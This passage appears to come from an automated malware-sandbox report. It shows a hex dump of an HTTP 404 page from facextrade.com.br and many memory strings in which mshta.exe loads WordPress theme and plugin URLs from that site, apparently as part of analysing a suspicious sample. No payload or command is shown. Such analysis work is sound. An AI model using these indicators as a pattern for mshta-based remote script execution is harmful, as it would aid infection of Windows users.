66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:33:13 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 16866018Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: owl.carousel[1].js.8.drString found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000003.1004837381.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1004778183.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039877929.0000000003E60000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: //www.youtube.com/embed//player?autoplay=true<div class="owl-video-frame" />?autoplay=1&rel=0&v=owl-video-playing//player.vimeo.com/video/ equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000003.1030000583.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1030048003.0000000003F05000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: \//www.youtube.com/embed/%id%?autoplay=1//player.vimeo.com/video/%id%?autoplay=1 equals www.youtube.com (Youtube)
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://brandonaaron.net)
Source: swfobject[1].js.8.drString found in binary or memory: http://code.google.com/p/swfobject/
Source: font-awesome[1].css.8.drString found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: animate-logo[1].css.8.drString found in binary or memory: http://daneden.me/animate
Source: jquery.magnific-popup.min[1].js.8.drString found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 00000008.00000003.966625848.0000000008078000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20-
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.204.9.20
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)9p
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0http://facextr
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6htt
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1R
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 00000008.00000003.1042454926.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042358902.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003536200.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042424278.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003913084.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003888617.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003981850.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042393396.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003866960.0000000003933000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3(
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2u
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra
Source: mshta.exe, 00000008.00000003.1042454926.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042358902.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003536200.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042424278.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003913084.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003888617.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003981850.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042393396.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003866960.0000000003933000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 00000008.00000002.1159093129.00000000029F0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/q
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css.cssT
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)E
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4US
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ame0E)
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0&A?
Source: mshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 00000008.00000002.1156882992.000000000022D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.02.9.2
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US
Source: mshta.exe, 00000008.00000003.1042454926.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042358902.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003536200.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042424278.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003913084.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003888617.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003981850.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042393396.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003866960.0000000003933000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156857472.0000000000222000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0.3
Source: mshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 00000008.00000002.1156882992.000000000022D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0?ver=1.
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0er
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.NET4.0E)A
Source: mshta.exe, 00000008.00000002.1156882992.000000000022D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0y
Source: mshta.exe, 00000008.00000003.1042454926.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042358902.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003536200.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042424278.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156882992.000000000022D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003913084.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003888617.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003981850.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042393396.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003866960.0000000003933000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.30C;
Source: mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;
Source: mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0;
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css0I
Source: mshta.exe, 00000008.00000003.1051786044.0000000002EE9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.989853201.0000000002EE9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1160550182.0000000002EE9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFrameworkhttp://facextrade.com.br/wp-content/themes
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css-
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssc
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssB
Source: mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS
Source: mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssu
